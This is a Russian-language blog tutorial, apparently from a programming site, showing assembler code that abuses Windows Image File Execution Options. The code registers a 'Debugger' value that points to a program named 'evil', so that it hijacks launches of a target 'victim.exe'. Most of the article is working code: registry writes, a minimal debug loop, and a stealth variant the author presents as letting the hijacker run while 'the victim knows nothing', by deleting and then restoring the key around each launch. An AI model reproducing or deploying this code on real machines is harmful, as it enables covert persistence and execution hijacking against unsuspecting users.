Работа с Image File Execution Options на Ассемблере
Не так давно я выкладывал статью про использование Image File Execution Options, где обещал провести эксперименты на Ассемблере. Всю теорию про IFEO вы можете прочитать по приведенной ссылке, дублировать я ее тут не буду.Начнем с установки перехватчика. Тут все просто, создаем ключ в реестре, затем в нем создаем параметр "Debugger" с указанием пути к нашему файлу.
Code (Assembler) : Убрать нумерацию
- ; Ключ реестра
- victim_key db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\'
- db 'Image File Execution Options\victim.exe',0
- ; Путь к нашему отладчику
- debug_key db 'Debugger',0
- ...
- ...
- invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,victim_key,0,0,\
- REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,0,phkResult,lpdwDisp
- ; Путь к отладчику
- invoke lstrlen,evil
- invoke RegSetValueEx,[phkResult],debug_key,0,REG_SZ,evil,eax
- invoke RegCloseKey,[phkResult]
Code (Assembler) : Убрать нумерацию
- invoke SHDeleteKey,HKEY_LOCAL_MACHINE,victim_key
При запуске программы-жертвы система запускает отладчик, передавая ему в качестве параметра командной строки полный путь запуска программы. Разобрать командную строку можно самостоятельно или с помощью какого-нибудь готового решения, это уже на ваше усмотрение. Итак, у нас есть путь запуска жертвы. Выполнив все необходимое в отладчике, необходимо запустить жертву, но просто так запустить ее нельзя. При попытке вызвать WinExec, ShellExecute(Ex) и иже с ними мы получим просто новый запуск отладчика. Обойти это поведение можно при помощи функции CreateProcess с флагом DEBUG_PROCESS. Ну логично, чо, мы же взяли на себя функцию отладчика, вот и надо ей соответствовать. Но нельзя просто указать этот флаг в параметрах запуска, придется также реализовать процесс отладки, пусть и в самом примитивном виде.
Code (Assembler) : Убрать нумерацию
- ; Запустить процесс
- invoke CreateProcess,victim,0,NULL,NULL,NULL,\
- NORMAL_PRIORITY_CLASS+DEBUG_ONLY_THIS_PROCESS,NULL,NULL,\
- sinfo,pinfo
- ; Цикл отладчика
- @@:
- ; Ожидаем событие от запущенного процесса
- invoke WaitForDebugEvent,debug_event,INFINITE
- or eax,eax
- jz loc_exit
- ; Процесс завершен?
- cmp [debug_event.dwDebugEventCode],EXIT_PROCESS_DEBUG_EVENT
- je loc_exit
- ; Продолжаем выполнение программы
- invoke ContinueDebugEvent,[debug_event.dwProcessId],\
- [debug_event.dwThreadId],DBG_CONTINUE
- jmp @b
Мне стало интересно, а можно ли сделать так, чтобы и наш отладчик запустился, и жертва об этом ничего не узнала? Подумал, потестировал, в итоге получилось следующее:
Code (Assembler) : Убрать нумерацию
- ; Удалить ключ реестра
- invoke SHDeleteKey,HKEY_LOCAL_MACHINE,victim_key
- ; Запустить процесс обычным способом
- invoke CreateProcess,victim,0,NULL,NULL,NULL,\
- NORMAL_PRIORITY_CLASS,NULL,NULL,sinfo,pinfo
- ; Вернуть обратно ключ реестра
- invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,victim_key,0,0,\
- REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,0,phkResult,lpdwDisp
- invoke lstrlen,evil
- invoke RegSetValueEx,[phkResult],debug_key,0,REG_SZ,evil,eax
- invoke RegCloseKey,[phkResult]
В приложении примеры программ с исходными текстами для установки классического отладчика и отладчика с альтернативной обработкой.
Просмотров: 1782 | Комментариев: 0
Внимание! Статья опубликована больше года назад, информация могла устареть!
Комментарии
Отзывы посетителей сайта о статье
Комментариeв нет
Добавить комментарий
Заполните форму для добавления комментария